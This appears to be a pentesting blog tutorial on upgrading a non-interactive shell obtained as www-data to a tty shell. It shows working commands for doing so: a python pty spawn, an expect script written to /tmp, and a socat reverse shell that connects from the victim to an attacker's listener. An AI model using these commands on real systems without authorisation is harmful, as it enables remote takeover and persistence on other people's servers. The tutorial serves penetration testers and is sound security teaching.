Most of the time when we pentesting (as an example) a web application and you upload a reverse or bind shells, the shell that you get is own by the user of the running service, www-data or similar. These users are not meant to have a shell as they don't interact with the system has humans do.

The problem with non-tty-shell (and non-interactive shell) is there are certain commands and stuff that you can't do particularly ones that require pagination (less, vi) or that require additional input (su, sudo, passwd).

$ tty
  not a tty

Anyways, if you manage to get these shells (congratulation! 🎉), you can upgrade it to a tty-shell for further post exploitaion using the following methods.

1. Using python

This method is the most popular method spawning a tty shell. This requires the target server to have python (or python3) installed. Keep in mind to spawn /bin/bash instead of /bin/sh.

$ python -c "import pty;pty.spawn('/bin/bash')"

2. Using expect

Not all server have expect installed by default, however if you're lucky enough, you can use this command to spawn a tty shell.

$ expect -v
  expect version 5.45.4
  
$ cat > /tmp/shell.sh <<EOF
#!/usr/bin/expect
spawn bash
interact
EOF

$ chmod u+x /tmp/shell.sh
$ /tmp/shell.sh

3. Using socat

Socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY's over TCP connections.

Again, not every server has socat installed (not installed by default). You could try to compile the binary itself or download a socat static binary.

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat
https://github.com/aledbf/socat-static-binary/releases

Anyway in this example, we are going to use socat to spawn another reverse shell with tty support. If you looking for bind shell instead, see in this post.

On the attacker machine, set up socat listener: replace 4444 with your listning port.

socat -,raw,echo=0 tcp-listen:4444

On the victim machine, connect back the attacker machine and spawn a shell. Replace <host> with attacker IP and <port> with attacker listing port.

$ socat exec:"/bin/bash -li",pty,stderr,setsid,sigint,sane tcp:<host>:<port>

Check the if the shell is tty.

To check if the shell is a tty shell, simply enter tty command like below.

$ tty
/dev/pts/0

Taking it further!

Once you manage to upgrade to tty shell, you still have a limited shell (not fully interactive). You won't be able to use tab-completion and arrow keys. This is really frustrating and it can be more risky if an execution gets stuck, you can't use ctrl+c or ctrl+z without killing your session. Follow my next tutorial here on how you can upgrade the shell to fully interactive shell.